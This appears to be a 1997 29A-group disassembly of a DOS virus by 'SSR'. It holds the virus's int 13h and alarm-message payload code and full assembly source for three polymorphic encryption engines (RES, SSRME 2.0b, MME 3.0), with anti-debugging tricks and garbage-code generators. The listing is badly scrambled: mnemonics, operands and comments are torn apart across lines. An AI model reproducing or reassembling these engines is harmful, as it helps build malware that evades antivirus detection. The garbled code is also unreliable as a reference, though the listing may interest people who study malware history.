mov mov mov mov pop es pop ax popf ret ofs_i13 seg_i13 ofs_actual_i13 seg_actual_i13 warning_msg: mov mov mov mov mov l_next_msg: push l_msg_nextchar: inc bp mov cmp jz nop nop nop mov stosw inc si jmp msg_end: inc si push cx shl mov sub mov rep pop cx pop di add loop xor mov mov xor l_change_colors: push di push bx mov mov call pop bx pop di int di xor dw dw dw dw

ax,cs:ofs_actual_i13-100h es:[13h*4],ax ax,cs:seg_actual_i13-100h es:[13h*4+2],ax

; Restore int 13h

0 0 0 0

ax,0B800h es,ax ; ES:=0B800 (text video segment) di,(6*80+15)*2 ; gotoxy(15,6) si,offset(msg_alarm)-100h cx,14 ; Number of msgs

bp,bp

al,cs:[si] al,0 msg_end

; End of string? ; Yes? then jmp

ah,15

; Textcolor=white ; Put character on screen

l_msg_nextchar

bp,1 cx,(80+15)*2 cx,bp ax,0F20h stosw ; Fill line with spaces

cld

di,80*2 l_next_msg cx,cx bx,cx ax,1010h dx,dx

; Next line

di,0C8h bx,0Ah sound

10h

; AX=1010h : Set individual DAC regs. ; BX=0 -> Color 0

push push

inc di bx mov and cmp jne

dh

; Inc value for red

dl,dh dl,0Fh dl,1 loop_change_colors

nop nop nop mov mov call jmp nop mov mov call loop_change_colors: pop bx pop di jmp sound: push push push push push ax bx cx dx di mov out mov mov out mov out in di,12Ch bx,12Ch sound loop_change_colors ; Unused code ! ; ; ;

di,3E8h bx,12Ch sound

l_change_colors

al,0B6h 43h,al dx,14h ax,4F38h

; Get the timer ready

div di 42h,al ; Send frecuency to timer al,ah 42h,al al,61h ; PC/XT PPI port B bits: ; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF mov ah,al or al,3 ; Speaker ON out 61h,al l_loop_sound2: mov l_loop_sound1: loop dec bx jnz mov out l_loop_sound2 al,ah ; Set Speaker to previous state 61h,al ; PC/XT PPI port B bits: ; 0: Tmr 2 gate ÍËÍDLE OR 03H=spkr ON ; 1: Tmr 2 data ͼ AND 0fcH=spkr OFF l_loop_sound1 cx,0AF1h

pop pop pop pop pop ret

di dx cx bx ax

iret

; Unused!

db msg_alarm db db db db db db db db db db db db db db db db db db db virus_end: SSR extrn extrn extrn ends

0

; Unused!

' !!! ALARM WARNING DANGER APPROACHING !!!',0 ' Hacker-fucker TSR shit or Any Virus Detected !!!',0 ' Anyone who wants to fuck Revenge is Naivnij Man',0 ' With best Wishes to E.Kaspersky !',0 ' Now I''m CURELESS !!! SND Used !!! Rules !!!',0 'In future versions I will add :',0 ' 1. Protected Mode Decryptor [SF0rCE]',0 ' (Web,try to emul IT :)))) )',0 ' 2. UniversalAntiDetector',0 ' 3. Must Die: Lamers,Webs & other...',0 ' 4. And other BUGs,GLUKs & SHITs !',0 'Dis is Continue... Win95 & her lamers must die!',0 ' Searching... SEEK & DESTROY',0 ' There can be only one ...',0 0Ah,0Dh,'--------------------' 0Ah,0Dh,'--------------------' 0Ah,0Dh,'Orign:NUkE HiM A11 !',0 'BIG NAWOROT',0 'BUGS INSIDE <tm> ',0

res_engine:near ssrme_engine:near mme_engine:near end host

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

End of SSR disasm (c) 1997, Tcp/29A (tcp@cryogen.com) - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Random Encryption Synthezator (RES), by SSR Disasm by Tcp/29A (tcp@cryogen.com)

Entry: DS:DX = code BX = runtime offset CX = number of bytes to encrypt Return: DS:DX = encryptor+code CX = size encryptor+code

.386p RES segment use16 assume cs:RES, ds:RES, es:RES, ss:RES org 0 RES_SIZE_DEC res_engine: start: call res_delta: equ 300h ; But it only needs 169h

res_delta

pop pop push push push mov sub mov mov push nop push push pop cld pop pop mov push push

si sub si,3 ; Get delta-offset ax cs ax es ax,es ax,10h es,ax di,100h cx mov cx,offset(end_res) ds cs ds rep movsb ; Copy RES code to working area ds cx ax,offset(res_start+100h) es ax retf ; jmp res_start

res_start: pop mov mov

push

xor mov ; NOP cld rep stosb ; Fill with NOPs call init_masks mov cx,8 ; 8 instructions per decryptor xor di,di add di,si l_select_instructions: push cx call RES_get_random mov ah,0 push cx mov cl,5 shr al,cl ; AX in [0..7] shl ax,1 shl ax,1 ; AX:=AX*4 (4 bytes per instruction) pop cx push di push si add di,offset(buffer_decryptor) add si,offset(decryptor_table) add si,ax push ax mov ax,cs:[si] ; Select an instruction for decryptor mov cs:[di],ax ; and store it mov ax,cs:[si+2] mov cs:[di+2],ax

es si,100h ax,es add mov mov mov cx mov di,di al,90h

ax,(end_res-start+15)/16+1 es,ax ; Calculate base segment for decryptor cs:[si+runtime_ofs],bx cs:[si+code_length],cx cx,RES_SIZE_DEC

pop pop pop push push add add add push mov mov mov pop pop pop add pop

pop push mov mov l_encrypt_code: mov mov mov add encryptor

ax si di di si di,offset(buffer_encryptor) si,offset(encryptor_table) si,ax ax mov ax,cs:[si] ; Select the instruction for encryptor cs:[di],ax ; and store it ax,cs:[si+2] cs:[di+2],ax ax si di di,4 cx loop l_select_instructions call reverse_decryptor_table call make_encryptor cx cx bp,dx mov di,RES_SIZE_DEC cs:[si+code_CRC],0 al,ds:[bp] es:[di],al ah,0 cs:[si+code_CRC],ax db 8*4 dup(90h)

; Make code CRC ; Buffer for encryptor

inc loop push push pop xor push

inc di bp l_encrypt_code ds cs ds di,di si add si,offset(decryptor_code) mov cx,decrypted_code-decryptor_code

nop cld rep pop pop push pop pop retf db db db init_masks: push

movsb si ds es ds xor cx add

; Copy decryptor to buffer

dx,dx

; DS:DX = Address of decryptor+code

cx,RES_SIZE_DEC ; Decryptor+encrypted code

0 'RandomEncryptionSynthezator',0 'ü S.S.R. 1996-97',0

si mov

cx,3

; Only first 3 instructions need a mask

l_next_mask: call

loop pop ret

RES_get_random mov byte ptr cs:[si+decryptor_table+3],al mov byte ptr cs:[si+encryptor_table+3],al add si,4 l_next_mask si

; Store mask ; Next inst.

RES_get_random: pushf in al,40h ror al,1 xor al,53h popf ret make_encryptor: push push push pop push pop push in mov

; Get random number

es ds cs es cs ds si al,40h ; Get random number cx,8 mov di,offset(encryptor) add di,si add si,offset(buffer_encryptor) l_make_encryptor: rcr al,1 ; Add instruction to encryptor? jc add_instruction ; Yes? then jmp nop nop add si,4 loop_make_encryptor: loop l_make_encryptor jmp encryptor_done nop add_instruction: cld push cx mov cx,4 rep movsb pop cx jmp encryptor_done: pop si pop ds pop es ret reverse_decryptor_table: push ax push bp push di push cx push bx mov cx,8/2 mov di,offset(buffer_decryptor)

; Store instruction loop_make_encryptor

add add l_reverse_table: mov mov mov mov mov mov mov add pop pop pop pop pop ret

di,si mov bp,si

bp,offset(end_buffer_dec)-4

; Point to last inst.

mov ax,cs:[di] ; Xchg instructions bx,cs:[bp] cs:[di],bx cs:[bp],ax ax,cs:[di+2] bx,cs:[bp+2] cs:[di+2],bx cs:[bp+2],ax sub bp,4 ; xchg next instruction di,4 loop l_reverse_table bx cx di bp ax

db

4

; Unused !!

decryptor_code: runtime_ofs equ word ptr $+1 mov bp,0 ; mov bp,runtime_ofs push 1100h+(90h+3Ch-20h) sub bp,offset(decryptor_code) mov di,offset(decryptor) add di,bp pop ax ; AX:=1100h+(90h+3Ch-20h) inc cs:[bp+n_decryptors] ; Inc # of tested decryptors mov cs:[bp+decryptor_ok],0 ; Decryptor not found mov cs:[bp+decrypting],0 ; Not decrypting mov cx,20h push es push ds add ax,cx push cs pop es push cs pop ds cld dec cx sub al,3Ch ; AL:=90h (NOP) rep stosb add al,3Ch ; AL:=0CCh (int 3) stosb cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested? jb create_random_decryptor ; Yes? then jmp nop nop mov ax,cs:[bp+n_decryptors] ; Don't use a random number. ; n_decryptors will be increased, so it'll ; find the correct decryptor. jmp create_decryptor nop db create_random_decryptor: in al,40h 66h ; Unused!? (antidebug??)

; Get random number

create_decryptor: mov cs:[bp+decryptor_id],al ; Why? Never use it!! mov cx,8 mov si,offset(buffer_decryptor) add si,bp mov di,offset(decryptor) add di,bp l_make_random_decryptor: rcr al,1 ; Add instruction to decryptor? jc add_inst_dec ; Yes? then jmp nop nop add si,4 next_dec_instruction: loop l_make_random_decryptor jmp done_random_decryptor nop add_inst_dec: cld push mov rep pop jmp

cx cx,4 movsb ; Add instruction cx next_dec_instruction

done_random_decryptor: mov di,RES_SIZE_DEC add di,cs:[bp+runtime_ofs] code_length equ word ptr $+1 mov cx,0 mov bx,cs:[bp+code_CRC] l_random_decryptor: mov dl,cs:[di] decryptor db 8*4 dup(90h)

; mov cx,code_length

mov sub cmp je nop nop loop_decryptor: inc loop pop pop

mov al,dl ah,0 bx,ax cs:[bp+decrypting],1 decrypt_byte

; Calculate CRC ; Decrypting? ; Yes? then jmp

di l_random_decryptor ds es cmp bx,0 jnz decryptor_code jmp found_decryptor

; CRC OK? ; No? then jmp ; Yes? then jmp

nop buffer_decryptor db end_buffer_dec: code_CRC decryptor_ok decrypting dw db db db db db 8*4 dup(90h)

0 0 0 0Bh 0Bh 0Bh

; Unused! ; Unused! ; Unused!

decryptor_id n_decryptors decrypt_byte: mov jmp

db dw

0 0

cs:[di],dl loop_decryptor

; Store decrypted byte

found_decryptor: cmp cs:[bp+decryptor_ok],1 je code_decrypted nop nop mov cs:[bp+decrypting],1 mov cs:[bp+decryptor_ok],1 push es push ds jmp done_random_decryptor code_decrypted: jmp anti_disasm1 nop db 69h anti_disasm1: cli push 3545h jmp anti_disasm2 nop db 0EAh anti_disasm2: cli inc sp mov ax,cs:[bp] xor ax,bx cld scasb inc sp mov ax,4202h sub sp,2 pop ax cmp ax,3545h jne decrypted_code nop nop xor ax,3445h es,ax byte ptr cs:[0Dh] cx,0Fh scasb ax,cs:[si]

; Code decrypted? ; Yes? then jmp

; Decrypt code

; Antidebug

; Antidebug

; Is it being traced? ; Yes? then jmp ; BUG! Should jump when not traced

mov inc and rep xor pushf

push xchg les xor dec

pop ax ; Get flags and ah,0FEh ; Clear trace flag ax bx,cx bx,ds:[2Bh] popf ; Trace flag off eax,eax mov dr7,eax ; Clear all breakpoints byte ptr cs:[0Dh] call skip_reset db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset) dw 0FFF0h ; but never reach here because in 'skip_reset'

dw skip_reset: pop ax decrypted_code: encryptor_table: xor byte add byte sub byte nop ror byte nop rol byte nop neg byte nop not byte nop neg byte decryptor_table: nop xor dl,0 nop sub dl,0 nop add dl,0 nop nop rol dl,1 nop nop ror dl,1 nop nop neg dl nop nop not dl nop nop neg dl buffer_encryptor db end_res: RES public

0F000h

;

it does a pop of the return address

; End of decryptor code

ptr es:[di],0 ptr es:[di],0 ptr es:[di],0 ptr es:[di],1 ptr es:[di],1 ptr es:[di] ptr es:[di] ptr es:[di]

8*4 dup(90h)

ends res_engine end

; ; ; ; ; ; ; ; ; ; ;

End of RES disasm (c) 1997, Tcp/29A (tcp@cryogen.com) - -[SSRME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Stainless Steel Rat Mutation Engine v2.00beta (SSRME 2.0b), by SSR Disasm by Tcp/29A (tcp@cryogen.com) Entry: DS:DX = code to encrypt BP = runtime offset

; CX = total bytes to encrypt ; Return: ; DS:DX = decryptor + encrypted code ; CX = size decryptor + encrypted code

SSRME200b segment use16 assume cs:SSRME200B, ds:SSRME200B, es:SSRME200B, ss:SSRME200B org 0 SSRME_DEC_SIZE SSRME_SIZE ssrme_engine: start: call ssrme_delta: pop si sub pop ax push push push cs ax es mov sub mov mov cx mov ds cs si,3 ; Get delta offset ssrme_delta = = 5000 end_ssrme200b - start

ax,es ax,10h es,ax di,100h cx,SSRME_SIZE

push nop push push pop ds cld pop ds pop cx push push

rep

movsb

; Copy engine code to working area

mov es ax retf

ax,offset(start_ssrme)+100h

; jmp start_srme

start_ssrme: pop mov mov add mov mov cx bx mov mov mov mov cmp je inc bp skip_4: inc al push loop si l_gen_reg_table es si,100h ax,es ax,(end_ssrme200b-start+15)/16+1 es,ax cs:[si+ofs_src],dx

push push

l_gen_reg_table:

cx,8 al,0 bp,offset(register_table) ; Create a table with [0,1,2,3,5,6,7] cs:[bp+si],al al,4 ; Register SP? skip_4 ; Yes? then jmp (skip it)

mov add l_xchg_regs: call and mov mov add call and mov add mov xchg mov loop pop si mov mov xor cld rep xor xor l_next_register: push bp mov add stosw call mov call stosw call mov call stosw call pop bp inc cmp jne mov l_main_shit: call call call push cx mov l_gen_regreg: call loop pop cx call call loop mov mov cld stosw push ax push bx push cx

cx,8 si,offset(register_table) ; Xchg registers in register table SSRME_get_random al,7 ah,0 ; AX in [0..7] bp,si bp,ax ; Reg #1 SSRME_get_random ax,7 ; AX in [0..7] di,si di,ax ; Reg #2 al,cs:[bp] al,cs:[di] ; Xchg registers cs:[bp],al l_xchg_regs cx,SSRME_DEC_SIZE al,90h ; NOP di,di stosb di,di bp,bp ; Fill with NOPs

ax,0B866h ; Generate MOV ext-reg,xxxxxxxx ah,byte ptr cs:[bp+si+register_table] ; Select reg SSRME_get_random ah,al SSRME_get_random SSRME_get_random ah,al SSRME_get_random generate_garbage_calljmp bp bp,8 l_next_register cx,5 generate_garbage generate_call_jmp generate_jxx cx,5 generate_op_regreg l_gen_regreg generate_int generate_call_addsp l_main_shit cs:[si+ofs_start_dec],di ax,60CDh ; Generate INT 60h ; Next register ; Last register? ; No? then jmp ; Generate double-word

push push push push push push push push

dx bp di ax ax ax ax es xor mov mov mov add mov xor es ax retf

ax,ax es,ax es:[60h*4+2],cs ax,offset(int_60h) ax,si es:[60h*4],ax ax,ax

; ES:=0 ; Set new int 60h

pop es ; Exec generated routine until int 60h push push

int_60h: add mov mov mov mov mov mov pop pop pop pop pop pop pop pop pop pop ax ax ax ax di bp dx cx bx ax SSRME_get_random al,7 ; AL in [0..7] al,80h ; AL in [80h...87h] cs:[si+opindex],al ah,0 al,1 ; AL in [0, 2,..., 14] bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Select a register combination bx,offset(register_table) cx,8 ; Remove register from register table ; because it is used al,cs:[bx+si] remove_register ah,cs:[bx+si] dont_remove_register byte ptr cs:[bx+si],0 sp,6 ; Remove return address+flags from stack ax,si si,100h cs:[si+value_di],di ; Save reg values cs:[si+value_ax],ax cs:[si+value_bx],bx cs:[si+value_bp],bp

call and add mov mov shl push ax mov add mov mov mov l_remove_registers: cmp je cmp jne remove_register: mov dont_remove_register: inc bx loop pop ax push ax

l_remove_registers

push

mov add mov mov add mov mov dx call mov

bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Previously selected reg combination bh,al bh,40h ; INC register cs:[si+inc_inst],bh cs:[si+index_reg],al get_register_value cs:[si+value_index],dx

pop dx pop ax pop bx push add bx mov add mov cmp je call mov mov call add jmp bx,SSRME_DEC_SIZE bx,offset(register_combination) bx,ax ax,cs:[bx+si] ; Previously selected reg combination al,ah ; Using same register? using_1reg ; Yes? then jmp get_register_value ; Get reg1 value cx,dx al,ah get_register_value ; Get reg2 value cx,dx ; Add values calc_index_inm

nop using_1reg: call mov calc_index_inm: pop mov sub mov mov mov mov l_gen_operation: call mov call and call call call call call loop pop cx push cx mov mov cx SSRME_get_random dl,al ; Value for mask SSRME_get_random ax,3 ; AX in [0..3] (select operation) generate_dec_instruction generate_enc_instruction generate_garbage generate_call_jmp generate_jxx l_gen_operation bx ; Runtime offset ax,bx ax,cx ; Runtime ofs - reg.values cs:[si+index_inm],ax ; [index_reg +/- inmediate] cx,8 bx,offset(end_decryptor-4) di,cs:[si+ofs_start_dec] get_register_value cx,dx ; Get reg value

bp,cs:[si+ofs_src] bx,SSRME_DEC_SIZE

push cld l_crypt:

mov mov encryptor: db end_decryptor: inc

al,ds:[bp] es:[bx],al 8*4 dup(90h) bx ; NOP

inc bp loop mov stosb pop add mov stosb mov add stosb mov stosw mov stosw mov stosb mov sub dec ax dec ax stosw fill_length: cmp jae call jmp jmp_code: cld mov stosb mov sub dec stosb l_fill_buffer: cmp jae call stosb jmp end_ssrme: push pop ds pop cx add retf decryption_inst: opindex index_inm _mask inc_inst db db dw db db 80h 80h 0 0 0 cx,SSRME_DEC_SIZE ; CX = size decryptor + encrypted code l_fill_buffer di,SSRME_DEC_SIZE end_ssrme SSRME_get_random ; Buffer filled? ; Yes? then jmp ax,SSRME_DEC_SIZE ax,di ax ; jmp to start of encrypted code al,0EBh ; Generate JMP xx di,SSRME_DEC_SIZE-100 jmp_code generate_garbage fill_length ax,cs:[si+ofs_start_dec] ax,di al,0E9h ; Generate JMP start decryptor ax,374h ; Generate JE $+5 ax,dx al,cs:[si+index_reg] al,0F8h dx ; Runtime ofs dx,cs:[si+value_index] al,81h ; Generate CMP index,ofs end decryption l_crypt al,cs:[si+inc_inst] ; Generate INC index

es xor dx,dx ; DS:DX -> decryptor + encrypted code

SSRME_get_random: pushf in ror xor

al,40h al,1 al,53h

; Get random number

popf ret generate_garbage: cld push bx call and cmp je cmp je cmp je cmp jne jmp generate_operation: mov stosb mov call and shl add mov stosb mov call and add stosb call mov call stosw call mov call stosw ret_gen_garbage: pop bx ret generate_1byte: mov call and add mov stosb jmp generate_antidisasm: mov call and add mov push ax mov stosw ret_gen_garbage bx,offset(_1byte_table) SSRME_get_random ax,0Fh ; AX in [0..0Fh] bx,ax al,cs:[bx+si] ; Select random instruction

SSRME_get_random al,7 ; al,1 ; generate_1byte ; al,2 ; generate_antidisasm ; al,3 ; generate_conditional_jmp; al,4 ; generate_operation ; generate_jmp ;

AL in [0..7] Generate 1 byte instruction? Yes? then jmp Generate antidisasm code? Yes? then jmp Generate conditional jump? Yes? then jmp Generate JMP? No? then jmp? Yes? then jmp

al,66h

; Extended registers

bx,offset(op_reg_inm_table) SSRME_get_random ax,7 ; AX in [0..7] al,1 ; Select table entry bx,ax al,cs:[bx+si] ; Generate operation ah,cs:[bx+si+1] select_random_reg al,7 al,ah SSRME_get_random ah,al SSRME_get_random SSRME_get_random ah,al SSRME_get_random

; AL in [0..7] ; Select register ; Generate double word

bx,offset(antidisasm_table) SSRME_get_random ax,3 ; AX in [0..3] bx,ax ; Select table entry al,cs:[bx+si] ax,1EBh ; Generate JMP $+1

pop stosb jmp

ax ret_gen_garbage

; Store anti-disasm

generate_conditional_jmp: call SSRME_get_random rcr al,1 jc generate_cmc rcr al,1 jc generate_clc_jnc mov al,0F9h stosb mov al,72h stosb jmp generate_ofs_short nop generate_clc_jnc: mov stosb mov stosb jmp nop generate_cmc: rcr jc mov stosb mov stosb mov stosb jmp nop generate_clc_cmc_jc: mov stosb mov stosb mov stosb jmp nop generate_ofs_short: push cx push ax push inc di call pop mov sub mov dec cl mov pop ax pop cx jmp generate_ofs_short al,73h al,0F5h al,1 generate_clc_cmc_jc al,0F9h

; ; ; ; ;

Generate CMC instruction? Yes? then jmp Generate CLC+JNC? Yes? then jmp Generate STC

; Generate JC

al,0F8h al,73h generate_ofs_short

; Generate CLC ; Generate JNC

; Generate CLC+CMC+JC? ; Yes? then jmp ; Generate STC ; Generate CMC ; Generate JNC

al,0F8h al,0F5h al,72h generate_ofs_short

; Generate CLC ; Generate CMC ; Generate JC ; Stupid jmp!!

di

; Save position

gen_never_executed_code ax ; Restore position cx,di ; Calculate jmp offset cx,ax bp,ax es:[bp],cl ; Store offset

ret_gen_garbage

generate_jmp: mov stosb jmp generate_call_jmp: cld push ax push cx mov stosb push inc di inc di mov l_gen_call_shit: call loop mov stosb push inc di inc di mov l_gen_jmp_shit: call loop mov stosb pop mov sub sub mov add mov pop sub sub mov pop cx pop ax ret generate_ofs_short al,0EBh ; Generate JMP xx

al,0E8h di

; Generate CALL xxxx ; Save offset position

cx,5 generate_garbage l_gen_call_shit al,0E9h di

; Generate JMP xxxx ; Save offset position

cx,5 generate_garbage l_gen_jmp_shit al,0C3h bp ax,di ax,bp ax,2 es:[bp],ax bp,2 ax,bp bp ax,bp ax,2 es:[bp],ax

; Generate RET ; Restore offset position ; Calculate JMP offset

; Store offset

; Restore offset position ; Calculate CALL offset ; Store offset

generate_garbage_calljmp: push cx call SSRME_get_random and ax,3 mov cx,ax inc cx inc cx l_gen_garbage_calljmp: push cx call generate_garbage call generate_call_jmp pop cx loop l_gen_garbage_calljmp pop cx ret gen_never_executed_code: push ax push cx

; CX in [0..3] ; CX in [2..5]

call rcr jc and inc mov mov cld l_generate1_8shit: call stosb loop jmp nop gen_sim_decr: cld mov stosb mov stosb push bx mov call and add mov call stosb call stosb call stosb pop bx ret_no_exec: pop cx pop ax ret select_random_reg: push bx push si push ax call mov and add mov mov pop ax mov pop si pop bx ret generate_call_addsp: cld push ax push cx mov stosb push

SSRME_get_random al,1 ; gen_sim_decr ; al,7 ; al ; ah,0 cx,ax ;

Generate a simulated decryptor inst? Yes? then jmp AL in [0..7] AL in [1..8] Generate 1 to 8 bytes of shit

SSRME_get_random l_generate1_8shit ret_no_exec

al,2Eh al,80h

; Generate CS: prefix ; byte ptr [bx+si],inm8

bx,offset(decrypt_inst) SSRME_get_random ax,7 ; AX in [0..7] bx,ax ; Select operation al,cs:[bx+si] ; BUG! Only 4 operations in table, not 8 SSRME_get_random SSRME_get_random SSRME_get_random ; Generate simulated mask ; Generate 2 bytes of shit

stosb

SSRME_get_random ah,0 al,7 ; AX in [0..7] si,ax al,byte ptr cs:[si+register_table] bx,ax al,bl

al,0E8h di

; Generate CALL xxxx ; Save offset position

inc di inc di call pop mov sub dec ax dec ax mov mov l_shit_csp: call loop mov stosw mov stosb pop cx pop ax ret generate_op_regreg: cld push ax push cx mov stosb call rcr jc call and mov add mov stosb mov call add call mov shl add xchg stosb ret_gen_regreg: pop cx pop ax ret generate_op2bytes: call and shl mov add mov stosb mov call add stosb jmp al,2 generate_garbage l_shit_csp ax,0C483h ; Generate ADD SP,2 es:[bp],ax cx,4 ; Store jump offset gen_never_executed_code bp ; Restore offset position ax,di ; Calculate jump offset ax,bp

al,66h

; Extended registers

SSRME_get_random al,1 ; Generate XXX reg1,reg2 ? generate_op2bytes ; No? then jmp SSRME_get_random ax,7 ; AX in [0..7] bx,offset(operation_table) bx,ax ; Select operation from table al,cs:[bx+si] ah,0C0h ; Generate reg source and destination select_random_reg ah,al select_random_reg cl,3 al,cl ah,al ah,al

SSRME_get_random ax,7 ; AX in [0..7] ax,1 ; AX:=AX*2 bx,offset(_2bytes_table) bx,ax al,cs:[bx+si] ; Operation ah,cs:[bx+si+1] ; Select destination register select_random_reg al,ah ret_gen_regreg

generate_jxx: cld push push

cx ax mov call and add push

ah,70h SSRME_get_random al,0Fh al,ah ; AL in [70h..7Fh] -> Conditional jumps di ; Save offset position

stosb inc di call pop mov sub dec al mov pop ax pop cx ret generate_int: cld push push es:[bp],al ; Store offset generate_call_jmp bp ; Restore offset position ax,di ; Calculate jmp offset ax,bp

bx ax call and mov add mov mov

SSRME_get_random ax,3 ; AX in [0..3] bx,offset(int_table) bx,ax al,0CDh ; INT xx ah,cs:[bx+si] ; Get int number

stosw pop ax pop bx ret get_register_value: push ax push bx cmp je cmp je cmp je xor jmp nop get_bx: mov jmp nop get_bp: mov jmp nop get_si: mov get_value: bx,2 bx,6 get_value bx,4 get_value

al,3 get_bx al,5 get_bp al,6 get_si bx,bx get_value

; ; ; ; ; ; ;

BX ? Yes? BP ? Yes? SI ? Yes? else

then jmp then jmp then jmp DI

mov pop bx pop ax ret

dx,word ptr cs:[bx+si+value_registers]

generate_enc_instruction: push ax push bp mov bp,offset(encrypt_inst) shl ax,1 shl ax,1 add bp,ax mov ax,cs:[bp+si] mov cs:[bx+si],ax mov ax,cs:[bp+si+2] mov ah,dl mov cs:[bx+si+2],ax sub bx,4 pop bp pop ax ret

; ; ; ; ; ;

Get instruction opcodes Add to encryptor opcodes Add mask Add to encryptor Next instruction

generate_dec_instruction: cld push ax push cx push bx push bp mov bx,offset(decrypt_inst) add bx,ax ; Select instruction mov al,2Eh ; Generate CS: prefix stosb mov ah,cs:[bx+si] ; Get opcode from table mov al,cs:[si+opindex] and al,0C7h add al,ah ; Build operation+reg_index opcode mov cs:[si+opindex],al mov cs:[si+_mask],dl push si push ds push cs pop ds mov cx,5 add si,offset(decryption_inst) cld rep movsb ; Generate instruction pop ds pop si pop bp pop bx pop cx pop ax ret db db db db register_table: db db db 0 0 0 0Dh,0Ah 'THE STAINLESS STEEL RAT MUTATION ENGINE v 2.00 beta' 0Dh,0Ah '²±°(c) S.S.R. 1996-97°±²',0Dh,0Ah

db db db db db value_registers: value_di dw value_ax dw value_bx dw value_bp dw index_reg value_index ofs_start_dec ofs_src db dw dw dw

0 0 0 0 0

0 0 0 0 0 0 0 0

op_reg_inm_table: db db db db db db db db _1byte_table: int aaa daa cbw cwd aas das db db db db clc cmc stc cld std nop antidisasm_table: db db db db operation_table: db db db db db db db db

81h, 0C0h 81h, 0E8h 81h, 0F8h 81h, 0E0h 81h, 0C8h 81h, 0F0h 81h, 0F8h 0F7h,0C0h

; ; ; ; ; ; ; ;

ADD reg,inm SUB reg,inm CMP reg,inm AND reg,inm OR reg,inm XOR reg,inm CMP reg,inm TEST reg,inm

3

026h 02Eh 036h 03Eh

; ; ; ;

ES: CS: SS: DS:

066h 069h 0EAh 09Ah

1 29h 39h 21h 9 31h 39h 85h

; ; ; ; ; ; ; ;

ADD SUB CMP AND OR XOR CMP TEST

_2bytes_table: db db db db db db db db int_table: db db db db register_combination: db db db db db db db db db db db db db db db db encrypt_inst: add sub xor add decrypt_inst: db db db db end_ssrme200b: SSRME200b public ends ssrme_engine end 28h 0 30h 28h ; ; ; ; SUB ADD XOR SUB byte byte byte byte ptr ptr ptr ptr es:[bx],0 es:[bx],0 es:[bx],0 es:[bx],0 1 3 1Ch 28h ; ; ; ; int int int int 1 3 1Ch 28h 0FFh, 0FFh, 0F7h, 0D3h, 0D3h, 0D3h, 0F7h, 0D3h, 0C0h 0C8h 0D0h 0E0h 0E8h 0C0h 0D8h 0C8h ; ; ; ; ; ; ; ; INC DEC NOT SHL SHR ROL NEG ROR reg reg reg reg,CL reg,CL reg,CL reg reg,CL

3 6 3 7 5 6 5 7 6 6 7 7 5 5 3 3

; 0

; BX ; SI ; BX ; DI ; BP ; SI ; BP ; DI ; SI ; SI ; DI ; DI ; BP ; BP ; BX ; BX

; 2

; 4

; 6

; 8

; 10

; 12

; 14

; End of SSRME 2.0b disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com) ; ; - -[MME.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

; ; ; ; ; ; ; ; ; ; ; ;

Metamorphic Mutation Engine 3.0 (MME 3.0), by SSR Disasm by Tcp/29A (tcp@cryogen.com) Entry: BX = runtime offset (delta offset) DS:DX = code to be encrypted ES = work segment CX = size Return : DS:DX = decryptor + code CX = size decryptor + code

MME30 segment assume cs:MME30, ds:MME30, es:MME30, ss:MME30 org 0 MME_DEC_SIZE SIZE_MME mme_engine: start: call MME_delta: pop si sub pop ax push push push cs ax mov es mov sub mov cx mov ds cs si,3 ; Get delta offset MME_delta = = 1500 end_mme - start

di,100h ax,es ax,10h es,ax cx,SIZE_MME

push nop push push pop ds cld pop ds pop cx push push

rep

movsb

; Copy code to buffer

mov es ax retf

ax,offset(mme_start)+100h

; Jump to copy (mme_start)

mme_start: pop mov mov add mov mov mov mov cld mov xor mov al,90h ; NOP di,di cx,MME_DEC_SIZE ; Length of decryptor es si,100h ax,es ax,(SIZE_MME+15)/16+1 es,ax cs:[si+ofs_in_file],bx cs:[si+length_code],cx cs:[si+base_code],dx

rep xor cld more_garbage: call call and cmp jne nop nop nop call jmp nop gen_jx?: cmp jne nop nop nop call check_garbage_s: cmp jb call and add mov ax mov mov stosb mov call and add mov stosw mov stosb call mov stosb call mov stosb pop ax add stosw call mov stosb call mov stosb mov stosw call mov

stosb di,di

; Fill with NOPs

make_garbage get_random al,7 al,1 gen_jx?

; AL in [0..7] ; Generate call? ; No? then jmp

generate_call check_garbage_s

al,2 ; Generate conditional jump+garbage? check_garbage_s ; No? then jmp

generate_jx_garbage

di,1000 ; <1000 bytes of garbage? more_garbage ; Yes? then jmp get_random ax,1Fh ; AX in [0..31] ax,1150 ; [1150..1181]: Return from RETF cs:[si+return_retf],ax ax,0C63Eh al,6 ; MOV DS: ; [addr16],inm8

push stosw

ah,0 get_random al,3Fh al,0C0h ; AX in [0C0h..0FFh] cs:[si+addr_retf],ax ; [addr16]:=[0C0h..0FFh] al,0CBh ; inm8:=RETF ; Generated: mov byte ptr ds:[xxxx],0CBh generate_garbage al,0Eh ; Generate PUSH CS generate_garbage al,68h ; Generate PUSH inmediate (ret address)

ax,cs:[si+ofs_in_file] ; Return address from retf generate_garbage al,1Eh ; Generate PUSH DS generate_garbage al,68h ; Generate PUSH inmediate (to RETF) ax,cs:[si+addr_retf] ; Address of runtime generated RETF generate_garbage al,0CBh ; Generate RETF (jmp to generated RETF)

stosb mov sub l_more_shit: call stosb loop call call and mov mov mov mov and ah,7 mov mov stosb mov al,0C0h add stosb mov add add stosw call mov call mov add push es pop ds xor dx,dx retf db db cs:[si+indexop2_reg],ah al,0C7h ; Generate MOV reg16,inm ; MOV reg_index,start address l_more_shit generate_garbage get_random ax,3 ; AX in [0..3] bp,ax ; Select register index al,byte ptr cs:[bp+si+regop_table] cs:[si+indexop_reg],al ah,byte ptr cs:[bp+si+regop2_table] get_random cx,cs:[si+return_retf] cx,di ; Fill with garbage to return address

al,ah

; reg16=(SI or DI)

ax,MME_DEC_SIZE ; Calculate starting address to decrypt ax,cs:[si+ofs_in_file] ax,cs:[si+length_code] generate_garbage cs:[si+decryptor_ofs],di generate_encryptor cx,cs:[si+length_code] cx,MME_DEC_SIZE

; Start decryptor

; Code + decryptor

